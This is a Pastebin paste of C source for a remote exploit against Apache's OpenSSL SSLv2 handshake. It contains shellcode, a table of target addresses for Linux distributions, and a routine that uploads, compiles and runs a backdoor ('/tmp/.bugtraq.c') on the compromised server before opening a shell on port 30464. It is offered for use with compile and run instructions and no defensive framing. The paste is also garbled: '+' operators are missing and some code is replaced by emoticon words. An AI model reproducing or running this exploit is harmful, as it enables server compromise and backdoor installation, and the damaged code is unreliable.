Guest User

Untitled

a guest
Nov 21st, 2018
382
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.03 KB | None | 0 0
  1. /************************************************************************
  2. *
  3. * LINUX X86 APACHE REMOTE EXPLOIT!!!!!!!!!
  4. *
  5. *
  6. *
  7. * This is the unpublished source for apache OpenSSL handshake exploit.
  8. * We obtained this exploit by modifying a circulating apache worm,
  9. * created by contem@efnet
  10. *
  11. * BY
  12. *
  13. *
  14. * nebunu <nebunu@home.ro>
  15. *
  16. * compile: gcc -o apache-ex apache.ex.c -lcrypto
  17. * run: ./apache-ex <IP>
  18. * do not use hostname! use only ip
  19. *
  20. * If successfully it will spawn a shell on port 30464 and then connect to it.
  21. * Then use another exploit to get r00t
  22. *
  23. * btw,/tmp/.bugtraq.c is blackhole.c,rename /tmp/.bugtraq.c and
  24. * for this to work,and dont forget to set it on port 30464
  25. ! PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE !
  26. *
  27. *************************************************************************/
  28.  
  29.  
  30. #include <stdio.h>
  31. #include <unistd.h>
  32. #include <string.h>
  33. #include <fcntl.h>
  34. #include <stdlib.h>
  35. #include <stdarg.h>
  36. #include <sys/ioctl.h>
  37. #include <sys/types.h>
  38. #include <sys/socket.h>
  39. #include <netinet/in.h>
  40. #include <sys/time.h>
  41. #include <unistd.h>
  42. #include <errno.h>
  43. #include <netdb.h>
  44. #include <arpa/telnet.h>
  45. #include <sys/wait.h>
  46. #include <signal.h>
  47. #include <openssl/ssl.h>
  48. #include <openssl/rsa.h>
  49. #include <openssl/x509.h>
  50. #include <openssl/evp.h>
  51.  
  52. int pizda;
  53.  
  54. int conectare(char *ip, int port)
  55. {
  56. struct sockaddr_in addr;
  57. int pizda;
  58. pizda = socket(AF_INET, SOCK_STREAM, 0);
  59. if(pizda == -1)
  60. {
  61. perror("socket()");
  62. exit(-1);
  63. }
  64. addr.sin_addr.s_addr = inet_addr(ip);
  65. addr.sin_family = AF_INET;
  66. addr.sin_port = htons(port);
  67. if(connect(pizda,(struct sockaddr *)&addr,sizeof(struct sockaddr_in)) == -1)
  68. return -1;
  69. return(pizda);
  70. }
  71.  
  72.  
  73.  
  74. void pulamea(int pizda)
  75. {
  76. int n;
  77. char recvbuf[1024], *cmd = "id; uname -a\n";
  78. fd_set rset;
  79. send(pizda, cmd, strlen(cmd), 0);
  80. while (1)
  81. {
  82. FD_ZERO(&rset);
  83. FD_SET(pizda, &rset);
  84. FD_SET(STDIN_FILENO, &rset);
  85. select(pizda 1, &rset, NULL, NULL, NULL);
  86. if(FD_ISSET(pizda, &rset))
  87. {
  88. n = read(pizda, recvbuf, 1024);
  89. if (n <= 0)
  90. {
  91. printf("Connection closed by foreign host!\n");
  92. exit(0);
  93. }
  94. recvbuf[n] = 0;
  95. printf("%s", recvbuf);
  96. }
  97. if (FD_ISSET(STDIN_FILENO, &rset))
  98. {
  99. n = read(STDIN_FILENO, recvbuf, 1024);
  100. if (n > 0)
  101. {
  102. recvbuf[n] = 0;
  103. write(pizda, recvbuf, n);
  104. }
  105. }
  106. }
  107. return;
  108. }
  109.  
  110.  
  111.  
  112. void cleanup(char *buf)
  113. {
  114. while(buf[strlen(buf)-1] == '\n' || buf[strlen(buf)-1] == '\r' || buf[strlen(buf)-1] == ' ') buf[strlen(buf)-1] = 0;
  115. while(*buf == '\n' || *buf == '\r' || *buf == ' ')
  116. {
  117. unsigned long i;
  118. for (i=strlen(buf) 1;i>0;i--) buf[i-1]=buf[i];
  119. }
  120. }
  121.  
  122.  
  123.  
  124. char *GetAddress(char *ip) {
  125. struct sockaddr_in sin;
  126. fd_set fds;
  127. int n,d,sock;
  128. char buf[1024];
  129. struct timeval tv;
  130. sock = socket(PF_INET, SOCK_STREAM, 0);
  131. sin.sin_family = PF_INET;
  132. sin.sin_addr.s_addr = inet_addr(ip);
  133. sin.sin_port = htons(80);
  134. if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) return NULL;
  135. write(sock,"GET / HTTP/1.1\r\n\r\n",strlen("GET / HTTP/1.1\r\n\r\n"));
  136. tv.tv_sec = 15;
  137. tv.tv_usec = 0;
  138. FD_ZERO(&fds);
  139. FD_SET(sock, &fds);
  140. memset(buf, 0, sizeof(buf));
  141. if(select(sock 1, &fds, NULL, NULL, &tv) > 0) {
  142. if(FD_ISSET(sock, &fds))
  143. {
  144. if((n = read(sock, buf, sizeof(buf) - 1)) < 0) return NULL;
  145. for (d=0;d<n;d ) if (!strncmp(buf d,"Server: ",strlen("Server: "))) {
  146. char *start=buf d strlen("Server: ");
  147. for (d=0;d<strlen(start);d ) if (start[d] == '\n') start[d]=0;
  148. cleanup(start);
  149. return strdup(start);
  150. }
  151. }
  152. }
  153. return NULL;
  154. }
  155.  
  156.  
  157.  
  158. #define ENC(c) ((c) ? ((c) & 077) ' ': '`')
  159.  
  160.  
  161. int sendch(int sock,int buf) {
  162. char a[2];
  163. int b=1;
  164. if (buf == '`' || buf == '\\' || buf == '$') {
  165. a[0]='\\';
  166. a[1]=0;
  167. b=write(sock,a,1);
  168. }
  169. if (b <= 0) return b;
  170. a[0]=buf;
  171. a[1]=0;
  172. return write(sock,a,1);
  173. }
  174.  
  175.  
  176.  
  177. int writem(int sock, char *str) {
  178. return write(sock,str,strlen(str));
  179. }
  180.  
  181.  
  182. int encode(int a) {
  183. register int ch, n;
  184. register char *p;
  185. char buf[80];
  186. FILE *in;
  187. if ((in=fopen("/tmp/.bugtraq.c","r")) == NULL) return 0;
  188. writem(a,"begin 655 .bugtraq.c\n");
  189. while ((n = fread(buf, 1, 45, in)))
  190. {
  191. ch = ENC(n);
  192. if (sendch(a,ch) <= 0) break;
  193. for (p = buf; n > 0; n -= 3, p = 3)
  194. {
  195. if (n < 3) {
  196. p[2] = '\0';
  197. if (n < 2) p[1] = '\0';
  198. }
  199. ch = *p >> 2;
  200. ch = ENC(ch);
  201. if (sendch(a,ch) <= 0) break;
  202. ch = ((*p << 4) & 060) | ((p[1] >> 4) & 017);
  203. ch = ENC(ch);
  204. if (sendch(a,ch) <= 0) break;
  205. ch = ((p[1] << 2) & 074) | ((p[2] >> 6) & 03);
  206. ch = ENC(ch);
  207. if (sendch(a,ch) <= 0) break;
  208. ch = p[2] & 077;
  209. ch = ENC(ch);
  210. if (sendch(a,ch) <= 0) break;
  211. }
  212. ch='\n';
  213. if (sendch(a,ch) <= 0) break;
  214. usleep(10);
  215. }
  216. if (ferror(in)) {
  217. fclose(in);
  218. return 0;
  219. }
  220. ch = ENC('\0');
  221. sendch(a,ch);
  222. ch = '\n';
  223. sendch(a,ch);
  224. writem(a,"end\n");
  225. if (in) fclose(in);
  226. return 1;
  227. }
  228.  
  229. #define MAX_ARCH 21
  230.  
  231. struct archs {
  232. char *os;
  233. char *apache;
  234. int func_addr;
  235. } architectures[] = {
  236. {"Gentoo", "", 0x08086c34},
  237. {"Debian", "1.3.26", 0x080863cc},
  238. {"Red-Hat", "1.3.6", 0x080707ec},
  239. {"Red-Hat", "1.3.9", 0x0808ccc4},
  240. {"Red-Hat", "1.3.12", 0x0808f614},
  241. {"Red-Hat", "1.3.12", 0x0809251c},
  242. {"Red-Hat", "1.3.19", 0x0809af8c},
  243. {"Red-Hat", "1.3.20", 0x080994d4},
  244. {"Red-Hat", "1.3.26", 0x08161c14},
  245. {"Red-Hat", "1.3.23", 0x0808528c},
  246. {"Red-Hat", "1.3.22", 0x0808400c},
  247. {"SuSE", "1.3.12", 0x0809f54c},
  248. {"SuSE", "1.3.17", 0x08099984},
  249. {"SuSE", "1.3.19", 0x08099ec8},
  250. {"SuSE", "1.3.20", 0x08099da8},
  251. {"SuSE", "1.3.23", 0x08086168},
  252. {"SuSE", "1.3.23", 0x080861c8},
  253. {"Mandrake", "1.3.14", 0x0809d6c4},
  254. {"Mandrake", "1.3.19", 0x0809ea98},
  255. {"Mandrake", "1.3.20", 0x0809e97c},
  256. {"Mandrake", "1.3.23", 0x08086580},
  257. {"Slackware", "1.3.26", 0x083d37fc},
  258. {"Slackware", "1.3.26",0x080b2100}
  259. };
  260.  
  261. extern int errno;
  262.  
  263. int cipher;
  264. int ciphers;
  265.  
  266. #define FINDSCKPORTOFS 208 12 46
  267.  
  268. unsigned char overwrite_session_id_length[] =
  269. "AAAA"
  270. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  271. "\x70\x00\x00\x00";
  272.  
  273. unsigned char overwrite_next_chunk[] =
  274. "AAAA"
  275. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  276. "AAAA"
  277. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  278. "AAAA"
  279. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  280. "AAAA"
  281. "\x00\x00\x00\x00"
  282. "\x00\x00\x00\x00"
  283. "AAAA"
  284. "\x01\x00\x00\x00"
  285. "AAAA"
  286. "AAAA"
  287. "AAAA"
  288. "\x00\x00\x00\x00"
  289. "AAAA"
  290. "\x00\x00\x00\x00"
  291. "\x00\x00\x00\x00\x00\x00\x00\x00"
  292. "AAAAAAAA"
  293.  
  294. "\x00\x00\x00\x00"
  295. "\x11\x00\x00\x00"
  296. "fdfd"
  297. "bkbk"
  298. "\x10\x00\x00\x00"
  299. "\x10\x00\x00\x00"
  300.  
  301. "\xeb\x0a\x90\x90"
  302. "\x90\x90\x90\x90"
  303. "\x90\x90\x90\x90"
  304.  
  305. "\x31\xdb"
  306. "\x89\xe7"
  307. "\x8d\x77\x10"
  308. "\x89\x77\x04"
  309. "\x8d\x4f\x20"
  310. "\x89\x4f\x08"
  311. "\xb3\x10"
  312. "\x89\x19"
  313. "\x31\xc9"
  314. "\xb1\xff"
  315. "\x89\x0f"
  316. "\x51"
  317. "\x31\xc0"
  318. "\xb0\x66"
  319. "\xb3\x07"
  320. "\x89\xf9"
  321. "\xcd\x80"
  322. "\x59"
  323. "\x31\xdb"
  324. "\x39\xd8"
  325. "\x75\x0a"
  326. "\x66\xb8\x12\x34"
  327. "\x66\x39\x46\x02"
  328. "\x74\x02"
  329. "\xe2\xe0"
  330. "\x89\xcb"
  331. "\x31\xc9"
  332. "\xb1\x03"
  333. "\x31\xc0"
  334. "\xb0\x3f"
  335. "\x49"
  336. "\xcd\x80"
  337. "\x41"
  338. "\xe2\xf6"
  339.  
  340. "\x31\xc9"
  341. "\xf7\xe1"
  342. "\x51"
  343. "\x5b"
  344. "\xb0\xa4"
  345. "\xcd\x80"
  346.  
  347. "\x31\xc0"
  348. "\x50"
  349. "\x68""//sh"
  350. "\x68""/bin"
  351. "\x89\xe3"
  352. "\x50"
  353. "\x53"
  354. "\x89\xe1"
  355. "\x99"
  356. "\xb0\x0b"
  357. "\xcd\x80";
  358.  
  359. #define BUFSIZE 16384
  360. #define CHALLENGE_LENGTH 16
  361. #define RC4_KEY_LENGTH 16
  362. #define RC4_KEY_MATERIAL_LENGTH (RC4_KEY_LENGTH*2)
  363. #define n2s(c,s) ((s=(((unsigned int)(c[0]))<< Cool| (((unsigned int)(c[1])) )),c =2)
  364. #define s2n(s,c) ((c[0]=(unsigned char)(((s)>> Cool&0xff), c[1]=(unsigned char)(((s) )&0xff)),c =2)
  365.  
  366. typedef struct {
  367. int sock;
  368. unsigned char challenge[CHALLENGE_LENGTH];
  369. unsigned char master_key[RC4_KEY_LENGTH];
  370. unsigned char key_material[RC4_KEY_MATERIAL_LENGTH];
  371. int conn_id_length;
  372. unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];
  373. X509 *x509;
  374. unsigned char* read_key;
  375. unsigned char* write_key;
  376. RC4_KEY* rc4_read_key;
  377. RC4_KEY* rc4_write_key;
  378. int read_seq;
  379. int write_seq;
  380. int encrypted;
  381. } ssl_conn;
  382.  
  383. long getip(char *hostname) {
  384. struct hostent *he;
  385. long ipaddr;
  386. if ((ipaddr = inet_addr(hostname)) < 0) {
  387. if ((he = gethostbyname(hostname)) == NULL) exit(-1);
  388. memcpy(&ipaddr, he->h_addr, he->h_length);
  389. }
  390. return ipaddr;
  391. }
  392.  
  393. int sh(int sockfd) {
  394. char rcv[1024];
  395. fd_set rset;
  396. int maxfd, n;
  397. alarm(3600);
  398. writem(sockfd,"TERM=xterm; export TERM=xterm; exec bash -i\n");
  399. writem(sockfd,"rm -rf /tmp/.bugtraq.c;cat > /tmp/.uubugtraq << __eof__;\n");
  400. encode(sockfd);
  401. writem(sockfd,"__eof__\n");
  402. memset(rcv,0,1024);
  403. sprintf(rcv,"/usr/bin/uudecode -o /tmp/.bugtraq.c /tmp/.uubugtraq;gcc -o /tmp/.bugtraq /tmp/.bugtraq.c;/tmp/.bugtraq;exit;\n");
  404. writem(sockfd,rcv);
  405. for (;Wink {
  406. FD_ZERO(&rset);
  407. FD_SET(sockfd, &rset);
  408. select(sockfd 1, &rset, NULL, NULL, NULL);
  409. if (FD_ISSET(sockfd, &rset)) if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) return 0;
  410. }
  411. }
  412.  
  413. int get_local_port(int sock) {
  414. struct sockaddr_in s_in;
  415. unsigned int namelen = sizeof(s_in);
  416. if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) exit(1);
  417. return s_in.sin_port;
  418. }
  419.  
  420. int connect_host(char* host, int port) {
  421. struct sockaddr_in s_in;
  422. int sock;
  423. s_in.sin_family = AF_INET;
  424. s_in.sin_addr.s_addr = getip(host);
  425. s_in.sin_port = htons(port);
  426. if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) exit(1);
  427. alarm(10);
  428. if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) exit(1);
  429. alarm(0);
  430. return sock;
  431. }
  432.  
  433. ssl_conn* ssl_connect_host(char* host, int port) {
  434. ssl_conn* ssl;
  435. if (!(ssl = (ssl_conn*) malloc(sizeof(ssl_conn)))) exit(1);
  436. ssl->encrypted = 0;
  437. ssl->write_seq = 0;
  438. ssl->read_seq = 0;
  439. ssl->sock = connect_host(host, port);
  440. return ssl;
  441. }
  442.  
  443. char res_buf[30];
  444.  
  445. int read_data(int sock, unsigned char* buf, int len) {
  446. int l;
  447. int to_read = len;
  448. do {
  449. if ((l = read(sock, buf, to_read)) < 0) exit(1);
  450. to_read -= len;
  451. }
  452. while (to_read > 0);
  453. return len;
  454. }
  455.  
  456. int read_ssl_packet(ssl_conn* ssl, unsigned char* buf, int buf_size) {
  457. int rec_len, padding;
  458. read_data(ssl->sock, buf, 2);
  459. if ((buf[0] & 0x80) == 0) {
  460. rec_len = ((buf[0] & 0x3f) << Cool | buf[1];
  461. read_data(ssl->sock, &buf[2], 1);
  462. padding = (int)buf[2];
  463. }
  464. else
  465. {
  466. rec_len = ((buf[0] & 0x7f) << Cool | buf[1];
  467. padding = 0;
  468. }
  469. if ((rec_len <= 0) || (rec_len > buf_size)) exit(1);
  470. read_data(ssl->sock, buf, rec_len);
  471. if (ssl->encrypted)
  472. {
  473. if (MD5_DIGEST_LENGTH padding >= rec_len) {
  474. if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) return 0;
  475. else exit(1);
  476. }
  477. RC4(ssl->rc4_read_key, rec_len, buf, buf);
  478. rec_len = rec_len - MD5_DIGEST_LENGTH - padding;
  479. memmove(buf, buf MD5_DIGEST_LENGTH, rec_len);
  480. }
  481. if (buf[0] == SSL2_MT_ERROR) {
  482. if (rec_len != 3) exit(1);
  483. else return 0;
  484. }
  485. return rec_len;
  486. }
  487.  
  488. void send_ssl_packet(ssl_conn* ssl, unsigned char* rec, int rec_len) {
  489. unsigned char buf[BUFSIZE];
  490. unsigned char* p;
  491. int tot_len;
  492. MD5_CTX ctx;
  493. int seq;
  494. if (ssl->encrypted) tot_len = rec_len MD5_DIGEST_LENGTH;
  495. else tot_len = rec_len;
  496. if (2 tot_len > BUFSIZE) exit(1);
  497. p = buf;
  498. s2n(tot_len, p);
  499. buf[0] = buf[0] | 0x80;
  500. if (ssl->encrypted) {
  501. seq = ntohl(ssl->write_seq);
  502. MD5_Init(&ctx);
  503. MD5_Update(&ctx, ssl->write_key, RC4_KEY_LENGTH);
  504. MD5_Update(&ctx, rec, rec_len);
  505. MD5_Update(&ctx, &seq, 4);
  506. MD5_Final(p, &ctx);
  507. p =MD5_DIGEST_LENGTH;
  508. memcpy(p, rec, rec_len);
  509. RC4(ssl->rc4_write_key, tot_len, &buf[2], &buf[2]);
  510. }
  511. else memcpy(p, rec, rec_len);
  512. send(ssl->sock, buf, 2 tot_len, 0);
  513. ssl->write_seq ;
  514. }
  515.  
  516. void send_client_hello(ssl_conn *ssl) {
  517. int i;
  518. unsigned char buf[BUFSIZE] =
  519. "\x01"
  520. "\x00\x02"
  521. "\x00\x18"
  522. "\x00\x00"
  523. "\x00\x10"
  524. "\x07\x00\xc0\x05\x00\x80\x03\x00"
  525. "\x80\x01\x00\x80\x08\x00\x80\x06"
  526. "\x00\x40\x04\x00\x80\x02\x00\x80"
  527. "";
  528. for (i = 0; i < CHALLENGE_LENGTH; i ) ssl->challenge[i] = (unsigned char) (rand() >> 24);
  529. memcpy(&buf[33], ssl->challenge, CHALLENGE_LENGTH);
  530. send_ssl_packet(ssl, buf, 33 CHALLENGE_LENGTH);
  531. }
  532.  
  533. void get_server_hello(ssl_conn* ssl) {
  534. unsigned char buf[BUFSIZE];
  535. unsigned char *p, *end;
  536. int len;
  537. int server_version, cert_length, cs_length, conn_id_length;
  538. int found;
  539. if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) exit(1);
  540. if (len < 11) exit(1);
  541. p = buf;
  542. if (*(p ) != SSL2_MT_SERVER_HELLO) exit(1);
  543. if (*(p ) != 0) exit(1);
  544. if (*(p ) != 1) exit(1);
  545. n2s(p, server_version);
  546. if (server_version != 2) exit(1);
  547. n2s(p, cert_length);
  548. n2s(p, cs_length);
  549. n2s(p, conn_id_length);
  550. if (len != 11 cert_length cs_length conn_id_length) exit(1);
  551. ssl->x509 = NULL;
  552. ssl->x509=d2i_X509(NULL,&p,(long)cert_length);
  553. if (ssl->x509 == NULL) exit(1);
  554. if (cs_length % 3 != 0) exit(1);
  555. found = 0;
  556. for (end=p cs_length; p < end; p = 3) if ((p[0] == 0x01) && (p[1] == 0x00) && (p[2] == 0x80)) found = 1;
  557.  
  558. if (!found) exit(1);
  559. if (conn_id_length > SSL2_MAX_CONNECTION_ID_LENGTH) exit(1);
  560. ssl->conn_id_length = conn_id_length;
  561. memcpy(ssl->conn_id, p, conn_id_length);
  562. }
  563.  
  564. void send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite, int key_arg_overwrite_len) {
  565. int encrypted_key_length, key_arg_length, record_length;
  566. unsigned char* p;
  567. int i;
  568. EVP_PKEY *pkey=NULL;
  569. unsigned char buf[BUFSIZE] =
  570. "\x02"
  571. "\x01\x00\x80"
  572. "\x00\x00"
  573. "\x00\x40"
  574. "\x00\x08";
  575. p = &buf[10];
  576. for (i = 0; i < RC4_KEY_LENGTH; i ) ssl->master_key[i] = (unsigned char) (rand() >> 24);
  577. pkey=X509_get_pubkey(ssl->x509);
  578. if (!pkey) exit(1);
  579. if (pkey->type != EVP_PKEY_RSA) exit(1);
  580. encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], pkey->pkey.rsa, RSA_PKCS1_PADDING);
  581. if (encrypted_key_length <= 0) exit(1);
  582. p = encrypted_key_length;
  583. if (key_arg_overwrite) {
  584. for (i = 0; i < 8; i ) *(p ) = (unsigned char) (rand() >> 24);
  585. memcpy(p, key_arg_overwrite, key_arg_overwrite_len);
  586. key_arg_length = 8 key_arg_overwrite_len;
  587. }
  588. else key_arg_length = 0;
  589. p = &buf[6];
  590. s2n(encrypted_key_length, p);
  591. s2n(key_arg_length, p);
  592. record_length = 10 encrypted_key_length key_arg_length;
  593. send_ssl_packet(ssl, buf, record_length);
  594. ssl->encrypted = 1;
  595. }
  596.  
  597. void generate_key_material(ssl_conn* ssl) {
  598. unsigned int i;
  599. MD5_CTX ctx;
  600. unsigned char *km;
  601. unsigned char c='0';
  602. km=ssl->key_material;
  603. for (i=0; i<RC4_KEY_MATERIAL_LENGTH; i =MD5_DIGEST_LENGTH) {
  604. MD5_Init(&ctx);
  605. MD5_Update(&ctx,ssl->master_key,RC4_KEY_LENGTH);
  606. MD5_Update(&ctx,&c,1);
  607. c ;
  608. MD5_Update(&ctx,ssl->challenge,CHALLENGE_LENGTH);
  609. MD5_Update(&ctx,ssl->conn_id, ssl->conn_id_length);
  610. MD5_Final(km,&ctx);
  611. km =MD5_DIGEST_LENGTH;
  612. }
  613. }
  614.  
  615. void generate_session_keys(ssl_conn* ssl) {
  616. generate_key_material(ssl);
  617. ssl->read_key = &(ssl->key_material[0]);
  618. ssl->rc4_read_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
  619. RC4_set_key(ssl->rc4_read_key, RC4_KEY_LENGTH, ssl->read_key);
  620. ssl->write_key = &(ssl->key_material[RC4_KEY_LENGTH]);
  621. ssl->rc4_write_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
  622. RC4_set_key(ssl->rc4_write_key, RC4_KEY_LENGTH, ssl->write_key);
  623. }
  624.  
  625. void get_server_verify(ssl_conn* ssl) {
  626. unsigned char buf[BUFSIZE];
  627. int len;
  628. if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) exit(1);
  629. if (len != 1 CHALLENGE_LENGTH) exit(1);
  630. if (buf[0] != SSL2_MT_SERVER_VERIFY) exit(1);
  631. if (memcmp(ssl->challenge, &buf[1], CHALLENGE_LENGTH)) exit(1);
  632. }
  633.  
  634. void send_client_finished(ssl_conn* ssl) {
  635. unsigned char buf[BUFSIZE];
  636. buf[0] = SSL2_MT_CLIENT_FINISHED;
  637. memcpy(&buf[1], ssl->conn_id, ssl->conn_id_length);
  638. send_ssl_packet(ssl, buf, 1 ssl->conn_id_length);
  639. }
  640.  
  641. void get_server_finished(ssl_conn* ssl) {
  642. unsigned char buf[BUFSIZE];
  643. int len;
  644. int i;
  645. if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) exit(1);
  646. if (buf[0] != SSL2_MT_SERVER_FINISHED) exit(1);
  647. if (len <= 112) exit(1);
  648. cipher = *(int*)&buf[101];
  649. ciphers = *(int*)&buf[109];
  650. }
  651.  
  652. void get_server_error(ssl_conn* ssl) {
  653. unsigned char buf[BUFSIZE];
  654. int len;
  655. if ((len = read_ssl_packet(ssl, buf, sizeof(buf))) > 0) exit(1);
  656. }
  657.  
  658. void exploit(char *ip) {
  659. int port = 443;
  660. int i;
  661. int arch=-1;
  662. int N = 20;
  663. ssl_conn* ssl1;
  664. ssl_conn* ssl2;
  665. char *a;
  666. alarm(3600);
  667. if ((a=GetAddress(ip)) == NULL) exit(0);
  668. if (strncmp(a,"Apache",6)) exit(0);
  669. for (i=0;i<MAX_ARCH;i ) {
  670. if (strstr(a,architectures[i].apache) && strstr(a,architectures[i].os)) {
  671. arch=i;
  672. break;
  673. }
  674. }
  675. if (arch == -1) arch=9;
  676. srand(0x31337);
  677.  
  678. for (i=0; i<N; i ) {
  679. connect_host(ip, port);
  680. usleep(100000);
  681. }
  682.  
  683. ssl1 = ssl_connect_host(ip, port);
  684. ssl2 = ssl_connect_host(ip, port);
  685. send_client_hello(ssl1);
  686. get_server_hello(ssl1);
  687. send_client_master_key(ssl1, overwrite_session_id_length, sizeof(overwrite_session_id_length)-1);
  688. generate_session_keys(ssl1);
  689. get_server_verify(ssl1);
  690. send_client_finished(ssl1);
  691. get_server_finished(ssl1);
  692. port = get_local_port(ssl2->sock);
  693. overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);
  694. overwrite_next_chunk[FINDSCKPORTOFS 1] = (char) ((port >> Cool & 0xff);
  695. *(int*)&overwrite_next_chunk[156] = cipher;
  696. *(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12;
  697. *(int*)&overwrite_next_chunk[196] = ciphers 16;
  698. send_client_hello(ssl2);
  699. get_server_hello(ssl2);
  700. send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1);
  701. generate_session_keys(ssl2);
  702. get_server_verify(ssl2);
  703. for (i = 0; i < ssl2->conn_id_length; i ) ssl2->conn_id[i] = (unsigned char) (rand() >> 24);
  704. send_client_finished(ssl2);
  705. get_server_error(ssl2);
  706. sh(ssl2->sock);
  707. close(ssl2->sock);
  708. close(ssl1->sock);
  709. exit(0);
  710. }
  711.  
  712.  
  713. main(int argc,char **argv[])
  714.  
  715. {
  716. if (argc!=2)
  717. {
  718. printf("AVAILABLE TARGETS:\n
  719. 1) Gentoo, apache, 0x08086c34
  720. 2) Debian, apache 1.3.26, 0x080863cc
  721. 3) Red-Hat, apache 1.3.6, 0x080707ec
  722. 4) Red-Hat, apache 1.3.9, 0x0808ccc4
  723. 5) Red-Hat, apache 1.3.12, 0x0808f614
  724. 6) Red-Hat, apache 1.3.12, 0x0809251c
  725. 7) Red-Hat, apache 1.3.19, 0x0809af8c
  726. Cool Red-Hat, apache 1.3.20, 0x080994d4
  727. 9) Red-Hat, apache 1.3.26, 0x08161c14
  728. 10) Red-Hat, apache 1.3.23, 0x0808528c
  729. 11) Red-Hat, apache 1.3.22, 0x0808400c
  730. 12) SuSE, apache 1.3.12, 0x0809f54c
  731. 13) SuSE, apache 1.3.17, 0x08099984
  732. 14) SuSE, apache 1.3.19, 0x08099ec8
  733. 15) SuSE, apache 1.3.20, 0x08099da8
  734. 16) SuSE, apache 1.3.23, 0x08086168
  735. 17) SuSE, apache 1.3.23, 0x080861c8
  736. 18) Mandrake, apache 1.3.14, 0x0809d6c4
  737. 19) Mandrake, apache 1.3.19, 0x0809ea98
  738. 20) Mandrake, apache 1.3.20, 0x0809e97c
  739. 21) Mandrake, apache 1.3.23, 0x08086580
  740. 22) Slackware, apache 1.3.26, 0x083d37fc
  741. 23) Slackware, apache 1.3.26, 0x080b2100
  742.  
  743. Adapted after a apache worm by contem@efnet by
  744. nebunu <nebunu@home.ro>
  745. DrBios <cosmin800@hotmail.com>
  746.  
  747. Usage: ./apache-ex <IP>
  748. \n\n");
  749. exit(0);
  750. }
  751. printf("Exploiting %s , nebunu rulez!\n..",argv[1]);
  752. exploit(argv[1]);
  753. sleep(3);
  754. printf("Connecting to shell on port 30464\n...");
  755. pizda=conectare(argv[1],30464);
  756. pulamea(pizda);
  757. }
Add Comment
Please, Sign In to add comment